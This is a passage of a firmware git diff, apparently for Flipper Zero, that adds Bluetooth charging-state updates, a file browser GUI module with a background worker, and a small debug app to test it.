const PowerEvent* event = _event; if(event->type == PowerEventTypeBatteryLevelChanged) { - BtMessage message = { - .type = BtMessageTypeUpdateBatteryLevel, - .data.battery_level = event->data.battery_level}; + message.type = BtMessageTypeUpdateBatteryLevel; + message.data.battery_level = event->data.battery_level; + furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); + } else if(event->type == PowerEventTypeStartCharging || event->type == PowerEventTypeFullyCharged) { + message.type = BtMessageTypeUpdatePowerState; + message.data.battery_is_charging = true; + furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); + } else if(event->type == PowerEventTypeStopCharging) { + message.type = BtMessageTypeUpdatePowerState; + message.data.battery_is_charging = false; furi_check(osMessageQueuePut(bt->message_queue, &message, 0, osWaitForever) == osOK); } } @@ -368,6 +376,8 @@ int32_t bt_srv() { } else if(message.type == BtMessageTypeUpdateBatteryLevel) { // Update battery level furi_hal_bt_update_battery_level(message.data.battery_level); + } else if(message.type == BtMessageTypeUpdatePowerState) { + furi_hal_bt_update_power_state(message.data.battery_is_charging); } else if(message.type == BtMessageTypePinCodeShow) { // Display PIN code bt_pin_code_show(bt, message.data.pin_code); diff --git a/applications/bt/bt_service/bt_i.h b/applications/bt/bt_service/bt_i.h index 610c09056..a73b10c93 100644 --- a/applications/bt/bt_service/bt_i.h +++ b/applications/bt/bt_service/bt_i.h @@ -21,6 +21,7 @@ typedef enum { BtMessageTypeUpdateStatus, BtMessageTypeUpdateBatteryLevel, + BtMessageTypeUpdatePowerState, BtMessageTypePinCodeShow, BtMessageTypeKeysStorageUpdated, BtMessageTypeSetProfile, @@ -31,6 +32,7 @@ typedef union { uint32_t pin_code; uint8_t battery_level; BtProfile profile; + bool battery_is_charging; } BtMessageData; typedef struct { diff --git a/applications/debug_tools/file_browser_test/file_browser_app.c b/applications/debug_tools/file_browser_test/file_browser_app.c new file mode 100644 index 000000000..a408f5cde --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app.c @@ -0,0 +1,99 @@ +#include "assets_icons.h" +#include "file_browser_app_i.h" +#include "gui/modules/file_browser.h" +#include "m-string.h" +#include +#include +#include +#include + +static bool file_browser_app_custom_event_callback(void* context, uint32_t event) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_custom_event(app->scene_manager, event); +} + +static bool file_browser_app_back_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + return scene_manager_handle_back_event(app->scene_manager); +} + +static void file_browser_app_tick_event_callback(void* context) { + furi_assert(context); + FileBrowserApp* app = context; + scene_manager_handle_tick_event(app->scene_manager); +} + +FileBrowserApp* file_browser_app_alloc(char* arg) { + UNUSED(arg); + FileBrowserApp* app = malloc(sizeof(FileBrowserApp)); + + app->gui = furi_record_open("gui"); + app->dialogs = furi_record_open("dialogs"); + + app->view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(app->view_dispatcher); + + app->scene_manager = scene_manager_alloc(&file_browser_scene_handlers, app); + + view_dispatcher_set_event_callback_context(app->view_dispatcher, app); + view_dispatcher_set_tick_event_callback( + app->view_dispatcher, file_browser_app_tick_event_callback, 500); + view_dispatcher_set_custom_event_callback( + app->view_dispatcher, file_browser_app_custom_event_callback); + view_dispatcher_set_navigation_event_callback( + app->view_dispatcher, file_browser_app_back_event_callback); + + app->widget = widget_alloc(); + + string_init(app->file_path); + app->file_browser = file_browser_alloc(&(app->file_path)); + file_browser_configure(app->file_browser, "*", true, &I_badusb_10px, true); + + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewStart, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewResult, widget_get_view(app->widget)); + view_dispatcher_add_view( + app->view_dispatcher, FileBrowserAppViewBrowser, file_browser_get_view(app->file_browser)); + + view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); + + scene_manager_next_scene(app->scene_manager, FileBrowserSceneStart); + + return app; +} + +void file_browser_app_free(FileBrowserApp* app) { + furi_assert(app); + + // Views + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewStart); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewResult); + view_dispatcher_remove_view(app->view_dispatcher, FileBrowserAppViewBrowser); + widget_free(app->widget); + file_browser_free(app->file_browser); + + // View dispatcher + view_dispatcher_free(app->view_dispatcher); + scene_manager_free(app->scene_manager); + + // Close records + furi_record_close("gui"); + furi_record_close("notification"); + furi_record_close("dialogs"); + + string_clear(app->file_path); + + free(app); +} + +int32_t file_browser_app(void* p) { + FileBrowserApp* file_browser_app = file_browser_app_alloc((char*)p); + + view_dispatcher_run(file_browser_app->view_dispatcher); + + file_browser_app_free(file_browser_app); + return 0; +} diff --git a/applications/debug_tools/file_browser_test/file_browser_app_i.h b/applications/debug_tools/file_browser_test/file_browser_app_i.h new file mode 100644 index 000000000..6e8412c9b --- /dev/null +++ b/applications/debug_tools/file_browser_test/file_browser_app_i.h @@ -0,0 +1,32 @@ +#pragma once + +#include "scenes/file_browser_scene.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +typedef struct FileBrowserApp FileBrowserApp; + +struct FileBrowserApp { + Gui* gui; + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; + DialogsApp* dialogs; + Widget* widget; + FileBrowser* file_browser; + + string_t file_path; +}; + +typedef enum { + FileBrowserAppViewStart, + FileBrowserAppViewBrowser, + FileBrowserAppViewResult, +} FileBrowserAppView; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c new file mode 100644 index 000000000..72a6e84d7 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.c @@ -0,0 +1,30 @@ +#include "file_browser_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const file_browser_scene_on_enter_handlers[])(void*) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const file_browser_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const file_browser_scene_on_exit_handlers[])(void* context) = { +#include "file_browser_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers file_browser_scene_handlers = { + .on_enter_handlers = file_browser_scene_on_enter_handlers, + .on_event_handlers = file_browser_scene_on_event_handlers, + .on_exit_handlers = file_browser_scene_on_exit_handlers, + .scene_num = FileBrowserSceneNum, +}; diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h new file mode 100644 index 000000000..d690fca9f --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, +typedef enum { +#include "file_browser_scene_config.h" + FileBrowserSceneNum, +} FileBrowserScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers file_browser_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "file_browser_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "file_browser_scene_config.h" +#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c new file mode 100644 index 000000000..9c570cec0 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c @@ -0,0 +1,45 @@ +#include "../file_browser_app_i.h" +#include "furi/check.h" +#include "furi/log.h" +#include "furi_hal.h" +#include "m-string.h" + +#define DEFAULT_PATH "/" +#define EXTENSION "*" + +bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +static void file_browser_callback(void* context, bool state) { + FileBrowserApp* app = context; + furi_assert(app); + view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); + + UNUSED(state); +} + +void file_browser_scene_browser_on_enter(void* context) { + FileBrowserApp* app = context; + + file_browser_set_callback(app->file_browser, file_browser_callback, app); + + file_browser_start(app->file_browser, app->file_path); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); +} + +void file_browser_scene_browser_on_exit(void* context) { + FileBrowserApp* app = context; + + file_browser_stop(app->file_browser); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h new file mode 100644 index 000000000..6597df3aa --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h @@ -0,0 +1,3 @@ +ADD_SCENE(file_browser, start, Start) +ADD_SCENE(file_browser, browser, Browser) +ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c new file mode 100644 index 000000000..53576cef4 --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c @@ -0,0 +1,36 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "m-string.h" + +void file_browser_scene_result_ok_callback(InputType type, void* context) { + furi_assert(context); + FileBrowserApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, type); +} + +bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { + UNUSED(context); + //FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_result_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); +} + +void file_browser_scene_result_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c new file mode 100644 index 000000000..bb71e83df --- /dev/null +++ b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c @@ -0,0 +1,44 @@ +#include "../file_browser_app_i.h" +#include "furi_hal.h" +#include "gui/modules/widget_elements/widget_element_i.h" + +static void + file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { + UNUSED(result); + furi_assert(context); + FileBrowserApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, type); + } +} + +bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { + FileBrowserApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); + scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); + consumed = true; + } else if(event.type == SceneManagerEventTypeTick) { + } + return consumed; +} + +void file_browser_scene_start_on_enter(void* context) { + FileBrowserApp* app = context; + + widget_add_string_multiline_element( + app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); + + widget_add_button_element( + app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); + + view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); +} + +void file_browser_scene_start_on_exit(void* context) { + UNUSED(context); + FileBrowserApp* app = context; + widget_reset(app->widget); +} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c new file mode 100644 index 000000000..919750962 --- /dev/null +++ b/applications/gui/modules/file_browser.c @@ -0,0 +1,532 @@ +#include "file_browser.h" +#include "assets_icons.h" +#include "cmsis_os2.h" +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "furi/log.h" +#include "furi_hal_resources.h" +#include "m-string.h" +#include +#include +#include + +#define LIST_ITEMS 5u +#define MAX_LEN_PX 110 +#define FRAME_HEIGHT 12 +#define Y_OFFSET 3 + +#define ITEM_LIST_LEN_MAX 100 + +typedef enum { + BrowserItemTypeLoading, + BrowserItemTypeBack, + BrowserItemTypeFolder, + BrowserItemTypeFile, +} BrowserItemType; + +typedef struct { + string_t path; + BrowserItemType type; +} BrowserItem_t; + +static void BrowserItem_t_init(BrowserItem_t* obj) { + obj->type = BrowserItemTypeLoading; + string_init(obj->path); +} + +static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_init_set(obj->path, src->path); +} + +static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { + obj->type = src->type; + string_set(obj->path, src->path); +} + +static void BrowserItem_t_clear(BrowserItem_t* obj) { + string_clear(obj->path); +} + +ARRAY_DEF( + items_array, + BrowserItem_t, + (INIT(API_2(BrowserItem_t_init)), + SET(API_6(BrowserItem_t_set)), + INIT_SET(API_6(BrowserItem_t_init_set)), + CLEAR(API_2(BrowserItem_t_clear)))) + +struct FileBrowser { + View* view; + BrowserWorker* worker; + char* ext_filter; + bool skip_assets; + + FileBrowserCallback callback; + void* context; + + string_t* result_path; +}; + +typedef struct { + items_array_t items; + + bool is_root; + bool folder_loading; + bool list_loading; + uint32_t item_cnt; + int32_t item_idx; + int32_t array_offset; + int32_t list_offset; + + const Icon* file_icon; + bool hide_ext; +} FileBrowserModel; + +static const Icon* BrowserItemIcons[] = { + [BrowserItemTypeLoading] = &I_loading_10px, + [BrowserItemTypeBack] = &I_back_10px, + [BrowserItemTypeFolder] = &I_dir_10px, + [BrowserItemTypeFile] = &I_unknown_10px, +}; + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model); +static bool file_browser_view_input_callback(InputEvent* event, void* context); + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); +static void browser_list_load_cb(void* context, uint32_t list_load_offset); +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); +static void browser_long_load_cb(void* context); + +FileBrowser* file_browser_alloc(string_t* result_path) { + furi_assert(result_path); + FileBrowser* browser = malloc(sizeof(FileBrowser)); + browser->view = view_alloc(); + view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); + view_set_context(browser->view, browser); + view_set_draw_callback(browser->view, file_browser_view_draw_callback); + view_set_input_callback(browser->view, file_browser_view_input_callback); + + browser->result_path = result_path; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_init(model->items); + return false; + }); + + return browser; +} + +void file_browser_free(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_clear(model->items); + return false; + }); + + view_free(browser->view); + free(browser); +} + +View* file_browser_get_view(FileBrowser* browser) { + furi_assert(browser); + return browser->view; +} + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext) { + furi_assert(browser); + + browser->ext_filter = extension; + browser->skip_assets = skip_assets; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->file_icon = file_icon; + model->hide_ext = hide_ext; + return false; + }); +} + +void file_browser_start(FileBrowser* browser, string_t path) { + furi_assert(browser); + browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); + file_browser_worker_set_callback_context(browser->worker, browser); + file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); + file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); + file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); + file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); +} + +void file_browser_stop(FileBrowser* browser) { + furi_assert(browser); + file_browser_worker_free(browser->worker); + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->item_cnt = 0; + model->item_idx = 0; + model->array_offset = 0; + model->list_offset = 0; + return false; + }); +} + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { + browser->context = context; + browser->callback = callback; +} + +static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { + size_t array_size = items_array_size(model->items); + + if((idx >= (uint32_t)model->array_offset + array_size) || + (idx < (uint32_t)model->array_offset)) { + return false; + } + return true; +} + +static bool browser_is_list_load_required(FileBrowserModel* model) { + size_t array_size = items_array_size(model->items); + uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; + + if((model->list_loading) || (array_size >= item_cnt)) { + return false; + } + + if((model->array_offset > 0) && + (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + if(((model->array_offset + array_size) < item_cnt) && + (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { + return true; + } + + return false; +} + +static void browser_update_offset(FileBrowser* browser) { + furi_assert(browser); + + with_view_model( + browser->view, (FileBrowserModel * model) { + uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; + + if((model->item_cnt > (LIST_ITEMS - 1)) && + (model->item_idx >= ((int32_t)model->item_cnt - 1))) { + model->list_offset = model->item_idx - (LIST_ITEMS - 1); + } else if(model->list_offset < model->item_idx - bounds) { + model->list_offset = CLAMP( + model->item_idx - (int32_t)(LIST_ITEMS - 2), + (int32_t)model->item_cnt - bounds, + 0); + } else if(model->list_offset > model->item_idx - bounds) { + model->list_offset = + CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); + } + + return false; + }); +} + +static void + browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + int32_t load_offset = 0; + + with_view_model( + browser->view, (FileBrowserModel * model) { + if(is_root) { + model->item_cnt = item_cnt; + model->item_idx = (file_idx > 0) ? file_idx : 0; + load_offset = + CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); + } else { + model->item_cnt = item_cnt + 1; + model->item_idx = file_idx + 1; + load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); + } + model->array_offset = 0; + model->list_offset = 0; + model->is_root = is_root; + model->list_loading = true; + model->folder_loading = false; + return true; + }); + browser_update_offset(browser); + + file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); +} + +static void browser_list_load_cb(void* context, uint32_t list_load_offset) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t back_item; + BrowserItem_t_init(&back_item); + back_item.type = BrowserItemTypeBack; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_reset(model->items); + model->array_offset = list_load_offset; + if(!model->is_root) { + if(list_load_offset == 0) { + items_array_push_back(model->items, back_item); + } else { + model->array_offset += 1; + } + } + return false; + }); + + BrowserItem_t_clear(&back_item); +} + +static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + BrowserItem_t item; + + if(!is_last) { + BrowserItem_t_init(&item); + string_set(item.path, item_path); + item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; + + with_view_model( + browser->view, (FileBrowserModel * model) { + items_array_push_back(model->items, item); + return false; + }); + BrowserItem_t_clear(&item); + } else { + with_view_model( + browser->view, (FileBrowserModel * model) { + model->list_loading = false; + return true; + }); + } +} + +static void browser_long_load_cb(void* context) { + furi_assert(context); + FileBrowser* browser = (FileBrowser*)context; + + with_view_model( + browser->view, (FileBrowserModel * model) { + model->folder_loading = true; + return true; + }); +} + +static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box( + canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); + + canvas_set_color(canvas, ColorWhite); + canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); + + canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); + canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); + canvas_draw_dot( + canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); +} + +static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { + uint8_t width = 49; + uint8_t height = 47; + uint8_t x = 128 / 2 - width / 2; + uint8_t y = 64 / 2 - height / 2; + + UNUSED(model); + + elements_bold_rounded_frame(canvas, x, y, width, height); + + canvas_set_font(canvas, FontSecondary); + elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); + + canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); +} + +static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { + uint32_t array_size = items_array_size(model->items); + bool show_scrollbar = model->item_cnt > LIST_ITEMS; + + string_t filename; + string_init(filename); + + for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { + int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); + + BrowserItemType item_type = BrowserItemTypeLoading; + + if(browser_is_item_in_array(model, idx)) { + BrowserItem_t* item = items_array_get( + model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); + item_type = item->type; + file_browser_worker_get_filename( + item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); + } else { + string_set_str(filename, "---"); + } + + if(item_type == BrowserItemTypeBack) { + string_set_str(filename, ". ."); + } + + elements_string_fit_width( + canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); + + if(model->item_idx == idx) { + browser_draw_frame(canvas, i, show_scrollbar); + } else { + canvas_set_color(canvas, ColorBlack); + } + + if((item_type == BrowserItemTypeFile) && (model->file_icon)) { + canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); + } else if(BrowserItemIcons[item_type] != NULL) { + canvas_draw_icon( + canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); + } + canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); + } + + if(show_scrollbar) { + elements_scrollbar_pos( + canvas, + 126, + Y_OFFSET, + canvas_height(canvas) - Y_OFFSET, + model->item_idx, + model->item_cnt); + } + + string_clear(filename); +} + +static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { + FileBrowserModel* model = _model; + + if(model->folder_loading) { + browser_draw_loading(canvas, model); + } else { + browser_draw_list(canvas, model); + } +} + +static bool file_browser_view_input_callback(InputEvent* event, void* context) { + FileBrowser* browser = context; + furi_assert(browser); + bool consumed = false; + bool is_loading = false; + + with_view_model( + browser->view, (FileBrowserModel * model) { + is_loading = model->folder_loading; + return false; + }); + + if(is_loading) { + return false; + } else if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + with_view_model( + browser->view, (FileBrowserModel * model) { + if(event->key == InputKeyUp) { + model->item_idx = + ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } else if(event->key == InputKeyDown) { + model->item_idx = (model->item_idx + 1) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } + return true; + }); + browser_update_offset(browser); + consumed = true; + } + } else if(event->key == InputKeyOk) { + if(event->type == InputTypeShort) { + BrowserItem_t* selected_item = NULL; + int32_t select_index = 0; + with_view_model( + browser->view, (FileBrowserModel * model) { + if(browser_is_item_in_array(model, model->item_idx)) { + selected_item = + items_array_get(model->items, model->item_idx - model->array_offset); + select_index = model->item_idx; + if((!model->is_root) && (select_index > 0)) { + select_index -= 1; + } + } + return false; + }); + + if(selected_item) { + if(selected_item->type == BrowserItemTypeBack) { + file_browser_worker_folder_exit(browser->worker); + } else if(selected_item->type == BrowserItemTypeFolder) { + file_browser_worker_folder_enter( + browser->worker, selected_item->path, select_index); + } else if(selected_item->type == BrowserItemTypeFile) { + string_set(*(browser->result_path), selected_item->path); + if(browser->callback) { + browser->callback(browser->context, true); + } + } + } + consumed = true; + } + } else if(event->key == InputKeyLeft) { + if(event->type == InputTypeShort) { + bool is_root = false; + with_view_model( + browser->view, (FileBrowserModel * model) { + is_root = model->is_root; + return false; + }); + if(!is_root) { + file_browser_worker_folder_exit(browser->worker); + } + consumed = true; + } + } + + return consumed; +} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h new file mode 100644 index 000000000..b77c6e65c --- /dev/null +++ b/applications/gui/modules/file_browser.h @@ -0,0 +1,39 @@ +/** + * @file file_browser.h + * GUI: FileBrowser view module API + */ + +#pragma once + +#include "m-string.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct FileBrowser FileBrowser; +typedef void (*FileBrowserCallback)(void* context, bool state); + +FileBrowser* file_browser_alloc(string_t* result_path); + +void file_browser_free(FileBrowser* browser); + +View* file_browser_get_view(FileBrowser* browser); + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext); + +void file_browser_start(FileBrowser* browser, string_t path); + +void file_browser_stop(FileBrowser* browser); + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c new file mode 100644 index 000000000..13fc97111 --- /dev/null +++ b/applications/gui/modules/file_browser_worker.c @@ -0,0 +1,420 @@ +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "m-string.h" +#include "storage/filesystem_api_defines.h" +#include +#include +#include +#include +#include + +#define TAG "BrowserWorker" + +#define ASSETS_DIR "assets" +#define BROWSER_ROOT "/any" +#define FILE_NAME_LEN_MAX 256 +#define LONG_LOAD_THRESHOLD 100 + +typedef enum { + WorkerEvtStop = (1 << 0), + WorkerEvtLoad = (1 << 1), + WorkerEvtFolderEnter = (1 << 2), + WorkerEvtFolderExit = (1 << 3), +} WorkerEvtFlags; + +#define WORKER_FLAGS_ALL \ + (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) + +ARRAY_DEF(idx_last_array, int32_t) + +struct BrowserWorker { + FuriThread* thread; + + string_t filter_extension; + string_t path_next; + int32_t item_sel_idx; + uint32_t load_offset; + uint32_t load_count; + bool skip_assets; + idx_last_array_t idx_last; + + void* cb_ctx; + BrowserWorkerFolderOpenCallback folder_cb; + BrowserWorkerListLoadCallback list_load_cb; + BrowserWorkerListItemCallback list_item_cb; + BrowserWorkerLongLoadCallback long_load_cb; +}; + +static bool browser_path_is_file(string_t path) { + bool state = false; + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if((file_info.flags & FSF_DIRECTORY) == 0) { + state = true; + } + } + furi_record_close("storage"); + return state; +} + +static bool browser_path_trim(string_t path) { + bool is_root = false; + size_t filename_start = string_search_rchar(path, '/'); + string_left(path, filename_start); + if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { + string_set_str(path, BROWSER_ROOT); + is_root = true; + } + return is_root; +} + +static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { + if(is_folder) { + // Skip assets folders (if enabled) + if(browser->skip_assets) { + return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); + } else { + return true; + } + } else { + // Filter files by extension + if((string_empty_p(browser->filter_extension)) || + (string_cmp_str(browser->filter_extension, "*") == 0)) { + return true; + } + if(string_end_with_string_p(name, browser->filter_extension)) { + return true; + } + } + return false; +} + +static bool browser_folder_check_and_switch(string_t path) { + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + bool is_root = false; + while(1) { + // Check if folder is existing and navigate back if not + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if(file_info.flags & FSF_DIRECTORY) { + break; + } + } + if(is_root) { + break; + } + is_root = 